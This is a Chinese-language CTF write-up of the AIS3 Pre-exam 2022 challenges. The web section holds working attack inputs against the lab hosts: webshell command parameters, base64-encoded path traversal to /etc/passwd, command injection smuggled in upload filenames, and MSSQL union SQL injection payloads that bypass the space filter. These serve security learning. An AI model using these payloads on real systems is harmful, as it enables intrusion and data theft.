下面為題目的標籤方式
在 AIS3 Discord 伺服器 > AIS3-PRE-EXAM-2022 頻道 > general 聊天室的第一則訊息
Flag: AIS3{WTF did I just see the FLAG before CTF starts?}
看起來是 LFI
之類的題目,且在 source (http://chals1.ais3.org:8988/?src) 中看到有設定很多的黑名單,推測是要嘗試繞過
以下二篇為參考資料
以下為檔案名稱及內容:
上傳後得到下列訊息:
進入網址並帶上參數 cmd1=system&cmd2=ls -al
(i.e. http://chals1.ais3.org:8988/uploads/4430ecb6796a75050a1065db65e5ad54/142f13bac68d7651f41c48ac41cea595.pHp?cmd1=system&cmd2=ls%20-al
),發現確實可以看到伺服器上的東西 (cmd2
為控制指令的地方)
在根目錄下發現有 rUn_M3_t0_9et_fL4g
這個檔案 (參數為 cmd1=system&cmd2=ls -al /
),且在訪客身分下確實有 x
可執行權限
執行後拿到了 flag (參數為 cmd1=system&cmd2=/rUn_M3_t0_9et_fL4g
)
Flag: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
進入後發現裡面有很多按鈕,且每個按鈕會根據不同的圖片 id 導到各自的 poke 網址 (i.e. http://chals1.ais3.org:8987/bear/<ID>
),且編號有照順序排。(典型的 IDOR
題)
由次可推測 secret bear 的編號是在 350
~ 777
之間,可以寫一個腳本來掃路徑
發現 499
似乎是 secret bear 的 ID,對應到網址: http://chals1.ais3.org:8987/bear/499
進入後發現確實是 secret bear 的頁面
但按下 Poke!
後,發現無法直接拿到 flag,似乎是有身分認證
但在檢查後發現身分似乎是直接在 cookie 上,如下所示:
根據提示改成 bear poker
後,即可拿到 flag
Flag: AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}
MyFirstCTF only
看起來很像 LFI 題,但其實不是
在經過嘗試 & 通靈之後,發現在下載的地方有 Arbitrary file download
+ Path travesal
的漏洞,只要在下載的參數 file
中填入要下載檔案與目前目錄的相對位置 base64 過的值即可(name 的部分只是代表下載過後的檔案名稱)
舉例來說:
/etc/passwd
../../../../../../../../../../../../../etc/passwd
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
http://chals1.ais3.org:9453/download.php?file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&name=etc_passwd.txt
download.php
../download.php
Li4vZG93bmxvYWQucGhw
http://chals1.ais3.org:9453/download.php?file=Li4vZG93bmxvYWQucGhw&name=download.php.txt
index.php
../index.php
Li4vaW5kZXgucGhw
http://chals1.ais3.org:9453/download.php?file=Li4vaW5kZXgucGhw&name=index.php.txt
在下載 index.php
後發現有特別的 function 且 flag 藏在這裡,
以下為節錄部分:
Flag: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}
上一題的延伸
在觀察後發現在 index.php
中的 tar
function 似乎有 Command injection
的漏洞,以下為節錄:
其中可控制的地方是 $filename
,也就是檔案的名稱,只要閉合掉 '
+ ;
再接想要的 command 即可,後面可用 #
閉合
比方說創立叫 '; ls -al;#
的檔案 (更具體的說: touch "'; ls -al;#"
) 再上傳,即可看到像這樣的畫面
根據上一題的敘述可知 flag 在根目錄下,而 linux 的檔案名稱有個限制是無法使用 /
,因此在思考過後發現可以採用類似 Path travesal
的方式來達成
上傳檔案,名稱為: 'cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; ls -al;#
可以看到 flag 名稱為 y000000_i_am_the_f14GGG.txt
上傳檔案,名稱為: 'cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; cd ..; cat y000000_i_am_the_f14GGG.txt;#
Flag: AIS3{test_flag (to be changed)}
從題目的敘述中可知道這是 SQL injection
相關題目
觀察首頁的前端原始碼會發現有一個 update function,會把滑桿的輸入值會送到 /api/emoji/<unicode>
的網址來讀取,以下是節錄部分:
而滑桿的輸入會是一個數值,這一點可以透過把它的 type 改成 text
來確認,如下圖所示
關於 /api/emoji/<unicode>
這個網址可以從 source (http://chals1.ais3.org:9487/source) 中看到它其實就是直接將輸入送進資料庫做 query,也呼應題目所說的有 SQL injection
問題,不過這邊有將空白做處理,且 /
符號也會被 Flask 當作網址解析,無法輕易使用 /**/
來替代空白
另外在 source 中可以看到有一個 /api/all
的路徑,可以先進去看看 (http://chals1.ais3.org:9487/api/all)
會發現裡面列出了 Emoji 這個 table 中所有貓咪的名字,也發現其中有一個 secret_cat (hint here)
,所以一開始的目標會先嘗試讀取到這個貓咪
不過在嘗試 injection 之前,先確認一下正常的輸出會是如何,可以先拿網頁預設的數值來試 (http://chals1.ais3.org:9487/api/emoji/128049)
如果輸入的不是數字,則會有 500 ISE 錯誤
根據題目的提示,一開始應該先確認後端的資料庫是哪一個,由於每個資料庫各自都會有一些 function 是其他資料庫沒有的,在經過搜尋及測試後發現此資料庫可以使用 LEN
和 ASCII
function,不會發生 ISE 錯誤,推測後端資料庫可能是 MS SQL ( SQL Server)
,以下是測試的 payload
再根據這篇文章 (https://cloud.tencent.com/developer/article/1459291) 發現可以使用 %01
符號當作空白使用,且經嘗試可成功繞過空白限制
因此這邊可使用 union base sql injection
作為攻擊,找出 secret cat
,payload: 0%01union%01select%01*%01from%01Emoji%01where%01Id=3
由此可得知 flag 在另一張 table 中,不過在找之前,因為 json 會自動做排序,所以需要先確認一下每個欄位的位置及型態,使用此 payload 並嘗試更改 a
的位置和型態之類的即可: 0%01union%01select%01'a',null,null,null,null
leak 出來的欄位位置及型態如下所示:
驗證 payload: 0%01union%01select%01Id,Name,Emoji,Description,Unicode%01from%01Emoji%01where%01Id=3
再根據這篇文章 (https://www.mssqltips.com/sqlservertutorial/196/information-schema-tables/) 透過以下 payload 可找出在此 DB 中有哪些 table (這邊我假設 flag table 和 Emoji 放在同一個 DB 中):
0%01union%01select%01null,null,null,TABLE_NAME,null%01from%01INFORMATION_SCHEMA.TABLES%01where%01TABLE_NAME!='Emoji'
這邊發現了一個新的 table: s3cr3t_fl4g_in_th1s_t4bl3
這邊再根據這篇文章 (https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/),使用以下 payload 並調整 ORDINAL_POSITION
找出有哪些欄位:
0%01union%01select%01ORDINAL_POSITION,null,null,COLUMN_NAME,null%01from%01INFORMATION_SCHEMA.COLUMNS%01where%01TABLE_NAME='s3cr3t_fl4g_in_th1s_t4bl3'%01and%01ORDINAL_POSITION=1
這邊發現只有一個欄位: m1ght_be_th3_f14g
透過以下 payload,找出最終的 flag: 0%01union%01select%01null,null,null,m1ght_be_th3_f14g,null%01from%01s3cr3t_fl4g_in_th1s_t4bl3
Flag: AIS3{Yep /r/BadUIBattles happened again}
這題是跟 excel macro (VBA) 有關,但我基本上沒在碰這種東東,所以 MyFirstCTF 的時候沒解出來
解這題前須要把防毒給關掉,不然下載一直被擋檔案一直被砍 QQ
打開 Excel 並啟用編輯和巨集內容,並在 檔案 > 選項 > 自訂工作區中將開發人員選項打開
在開發人員分頁的巨集選項中可以看到有一個 Auto_Open 巨集
點選逐步執行,並按下評估值,會發現 flag 在其中
Flag: AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}
根據題目的 Gift
,可以知道其中的 Gif
指的就是 gif
file,而 t
的部分推測是 tool
的意思 (其實後來發現好像是 time
的意思),所以找到了以下網址: https://onlinegiftools.com/analyze-gif
在底下選擇 Print frame delay
後,可得知下表
發現好像把 delay 的時間用 10ms 為單位來看的東西好像是 ASCII code,即以下之序列:
65 73 83 51 123 53 84 51 103 52 110 48 103 82 52 112 72 121 95 99 52 78 95 98 51 95 102 85 110 95 115 48 109 51 55 105 77 101 125
使用工具解碼,得出 flag
Flag: AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}
進入並填入 secret key 後,發現了以下訊息,推測是有封包傳送
確認 IP 確實是現在電腦使用的,所以嘗試用 Wireshark 接收看看
發現確實有傳了這些封包
經過多次比對和觀察後,發現這些封包最主要要關注的點是接收的 port,發現接收 port 的後三碼似乎是 ASCII,即以下序列:
65 73 83 51 123 107 110 48 99 107 75 78 79 67 75 107 110 111 99 107 125
使用工具解碼,得到 flag
Flag: AIS3{kn0ckKNOCKknock}
Pre-exam only
看起來是答題型挑戰,以下是我用到的參考資料:
基本上就 functional programming & 查 doc,沒什麼特別的,然後有 512 的長度限制
Q1:
A:
Q2:
A:
Q3:
A:
Flag: AIS3{pr0gramm1ng_in_a_json_proce55in9_too1}
首先使用反組譯工具打開看原始碼,這邊我使用的是 ghidra
在 main function 中,可以看到有一個 sleep(0x8763)
,這一行會導致要等很長的時間才有東西跑出來
嘗試將 sleep 的值調小,以 ghidra
為例是在組語部分右鍵 > Patch Instruction
> 把 0x8763
改成 0x1
Export 後放到 linux 中執行,會發現確實會慢慢將 flag 印出,但最後跑完的時候 flag 會不見,這個只要在跑到最後的 !
前將內容複製後最後再觀察有幾個 !
並補上即可 (記得補上 }
)
Flag: AIS3{You_are_the_master_of_time_management!!!!!}
根據題目標籤,推測可能是跟 .NET
reverse 有關,上網搜尋到了這個工具 (https://github.com/dnSpy/dnSpy)
打開後對 Calculator.Extension.AIS3.dll
, Calculator.Extension.AIS33.dll
, Calculator.Extension.AIS333.dll
, Calculator.Extension.AIS3333.dll
作反組譯,發現在 Operate
區塊似乎跟 flag 資訊有關
在 Calculator.Extension.AIS3.dll
中可以看到,當裡面條件式滿足時會丟出 exception,但推斷應該是要讓他能算出結果出來,所以要想辦法讓它能執行 result 那一行
所以可知道要有一個長度為 45 的句子,且 index = 14
和 index = 3
的位置分別要是 A
和 {
,而 index 0 ~ 2
的位置的字和 W
(ASCII = 87) 做 xor 後會分別得到 30, 4, 100 的值,根據 A ^ B = C; C ^ B = A;
的原理可反推 index 0 ~ 2
的位置的字分別是 ASCII = 73
, 83
, 51
的字,也就是 I
, S
, 3
所以在 Calculator.Extension.AIS3.dll
中可以知道假設輸入以下字串,就能通過檢查 (?
為不確定字): IS3{? ????? ????A ????? ????? ????? ????? ????? ?????
而 Calculator.Extension.AIS33.dll
的思路也差不多,唯一要注意的小地方是陣列的部分是從 37 開始算 3 個
所以 Calculator.Extension.AIS33.dll
的是: D???? ????? ????? ????? ????? ????? ????? ??G_G }
Calculator.Extension.AIS333.dll
也差不多,但開始有一點小變化, index = 35 的字和 index = 34 的字要一樣,但這個可以從下一個條件式的 right[34] != '_'
來推出 index = 35 的字
Calculator.Extension.AIS333.dll
的是: 0T_N3 T_FRA m3W0r k???? ????? ????? ????_ _
Calculator.Extension.AIS3333.dll
算是上面玩法的大雜燴,不過多了一個判斷 num != 16
,所以由這行和第 36 行的 int num = int.Parse(this._calculator.Calculate("1+" + right.Substring(1, 2)));
可得知 index = 1, 2 的字是 15
所以 Calculator.Extension.AIS3333.dll
是: _15_S 0_C0m Plica T3d
從上面字串觀察後發現 3333
的字長度剛好可以填入 333
的 ?
中,變成 0T_N3 T_FRA m3W0r k_15_ S0_C0 mPlic aT3d_ _
而剛好新的字串可以放進 33
的 ?
中,變成 D0T_N 3T_FR Am3W0 rk_15 _S0_C 0mPli caT3d __G_G }
而新字串和 3
的就有點和不太起來了,不過由於已知 flag 格式為 AIS3{ ... }
,所以我猜可能是題目作者出錯了或可能有哪裡有做變換之類的,所以 3
裡面的 A
應該是在開頭的位置,所以最終結合起來後就會是: AIS3{D0T_N3 T_FRA m3W0r k_15_S 0_C0m Plica T3d_ _G_G }
,去掉幫助觀看的空白字元就是這題的 flag
另外有一個地方可能算是小彩蛋(?),在算 result 的那邊剛好是 1000 + ...
, 300 + ...
, 30 + ...
, 7 + ...
,剛好可以組成 1000 + 300 + 30 + 7 = 1337
,也就是 leet
的意思
Flag: AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
這題剛好解到一半比賽就結束了 QQ,不過後來有解出來就姑且放一下
稍微搜尋一下後,找到了這個網址 (https://github.com/wenyan-lang/wenyan),看起來是之前很紅但是後來沒落了的文言文程式語言
後來找到了這個線上的翻譯器 (https://ide.wy-lang.org/?file=殼),可以將 wenyen 轉成 js ,不過我發現在翻譯 殼.wy
的時候好像會有點問題,後來把前面的 吾嘗觀 ...
(var xxx = require(xxx)
) 對應的檔案內容 (i.e. 藏書樓/交互秘術/序.wy
, 藏書樓/恆常/序.wy
, 藏書樓/鑿字秘術/序.wy
) 複製填入就可以了
以下是翻譯後的內容及解釋:
在一開始,會呼叫 殼始
函式印出 prompt,接著會讀取使用者輸入並丟入 殼
函式
在 殼
函式中,當輸入為 蛵煿
開頭,則會將剩餘輸入部分丟入 希依
函式,若輸入的是 助
,則印出 幫助幫助幫助幫助幫助幫助
,其他的則會輸出 指令「<輸入>」不存在
而在 希依
函式的部分,會將輸入丟入 禱
函式,並比對是否與 秘旗
相同,若相同則輸出 正解
由此可知,如果要得到 正解
,則需要輸入一個 蛵煿
為開頭的字串 (去除 蛵煿
後之字串下簡稱為 正解字串
),而剩餘部分必須會在放入 禱
函式後和 秘旗
一致
在 禱
函式可以看到,它會把輸入的字串以 3 個字元為一組並分別讀取他們的字碼,並丟入 型
, 營
, 削
等函式及進行一些運算,最後串接起來輸出,此外如果輸入長度 mod 3 餘 1 的話會在最後串接一個 等於
,不過由 秘旗
可看到在最後面並沒有 等於
二字,所以能知道正解字串的長度會是 3 的倍數
或是 3 的倍數 - 1
營
和 削
的函式如下
基本上看懂之後會發現 營
函式就是做 2 輸入的整數除法,而 削
函式則是 2 輸入做 &
計算
而 型
函式如下所示,是用來計算 天("5KTMx8XKxf==") + 165 + 和 + 天("kv==") + 桐[宇]
桐
變數在 evaluate 後可簡化為:
var 桐 = "明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損";
天
函式就比較複雜了,不過不需要去解讀它,原因後面會說明
另外說明一下,在 天
函式中有使用到 斐
函式,它最主要的功能是尋找輸入的字元是在 笆
變數的哪一個位置
至於為什麼不用管 天
函式呢? 回到上面 型
函式的部分可以看到傳入 天
函式的值是固定的,所以直接將 天
函式當作黑盒子即可,只要關注那邊 evaluate 出來的值即可 (既然是 JS,所以可以直接複製相關函式並貼到瀏覽器的 console 那邊進行 evaluate)
所以 天("5KTMx8XKxf==")
會變成 '\x1B[38:5:'
然後 天("kv==")
會變成 'm'
綜合以上,型
函式那段能化簡成以下:
回到 禱
函式,由此可知以下運算部分
可化簡為以下
統整以上,可以將此題轉換為以下類 python pseudo code
所以要得到正解字串,要推導出 c_0
, c_1
, c_2
從 temp += "\x1B[38:5:" + ... + words[ ... ]
可知,在 secret_flag 中的 \x1b[38:5:<var>m<var>
為一次 +=
會加上的字串,其中的 <var>
代表的是會因使用者輸入而不同的一個填充代號
而從程式碼中也可看到,每 3 個字元會產生 2 組字串,所以要以 2 組字串為單位來解回正解字串的 3 個字元
這邊以 secret_flag 前二字串作為範例來推導回正解輸入的前 3 字元,剩餘部分照著相同步驟逆推即可
字串一的 <var>
部分分別是 181
和 獎
,而字串二則是 202
和 當
,這邊暫且命名為 v1_1
, v1_2
, v2_1
, v2_2
以方便推導為公式
由程式中可得知以下規則以及相關推導
綜合起來,可推導出正解輸入
所以,正解輸入的前三個字元為 AIS
,而公式整理如下
全部推倒完之後,得到的正解字串為 AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}
,即為這題的 flag
為了要進一步確認,執行後輸入 蛵煿 AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}
,確認確實能拿到正解
Flag: AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}
這題是我隨便亂戳出來的,我也不知道原理
在看原始碼的時候,隱約覺得功能 2 (Edit string) 好像沒有把 strs[idx]->len
換成新 string 的長度,感覺是一個 bug(?),所以順手戳戳看,以下是原始碼的節錄:
經實測發現經過以下步驟會讓它 crash,就會出現 flag
aaa
bbbb
修改之然後就 crash 拿 flag ㄌ
上網查錯誤訊息好像是跟 double free 之類的問題有關,好像是在同一個記憶體重複做 free,然後似乎有一點安全性問題之類的ㄅ,不太懂
Flag: AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}
就 buffer overflow 修改 return address 跳到指定函式的題目,不過我 pwn 很爛,所以留到後面才打
首先檢查安全性資訊,確認沒有太特別的防護 (NX
只是不能在 stack 上執行 code,不影響)
確認有哪些 function,發現除了 main
以外還有一個特別的 get_the_flag
函式,位置在 0x0000000000401216
嘗試反組譯,看起來就是讀 flag 檔案並輸出到 stdout,沒什麼特別的
而 main function 很明顯的有一個 buffer overflow,只要超出 16 個字元就可以覆蓋到 buffer 外面
根據下面這張圖片 (來源: 《System V Application Binary Interface》),可知道在 x64 下需要覆蓋到 rbp + 8
的位置才能控制 return address,所以實際上需要 16+8 = 24
個隨便字元填充
以下程式是從網路上的東西拿來改的
實際執行畫面
Flag: AIS3{Re@1_B0F_m4st3r!!}
觀察 cipher.py
,可以很明顯的知道這題是用 Substitution cipher
做為加解密演算法,不過就算看不出來其實題目也有在下面好心提供相關的說明
另外,這題也有提供 cipher.py
加密後的結果 cipher.py.enc
,所以等於是知道密文和明文的對應,用人眼對照一下就能解了,以下是我大致對一下找出的映射關係 (密 -> 明)
用 flag.txt.enc
對照一下即可找出 flag
Flag: AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}
這題算有點矇到,理論基礎有點 bug
下面為加密演算法的部分,大致上就是讀 flag.txt
然後用一組隨機的 key 先 mod 127 後對每一個字元做 xor 運算,然後每做完一次 key 就會放進 f
函式做運算產生新的 key
而已知 flag 開頭一定是 AIS3{
,且也知道加密後的文字,所以可推出一開始 key mod 127 後的值
這邊我就假設初始 key 為 45 (雖然這邊假設可能不太恰當,但我當時的確是這樣想的,剛好矇到),只要一次又一次的丟進 f
做運算,就能知道在加密時每一個字元所用的 key 了
這邊是解密用的程式:
執行結果
Flag: AIS3{not_every_bits_are_used_lol}
忘記截圖了,反正就填問券
Flag: AIS3{youweregreat}
CTF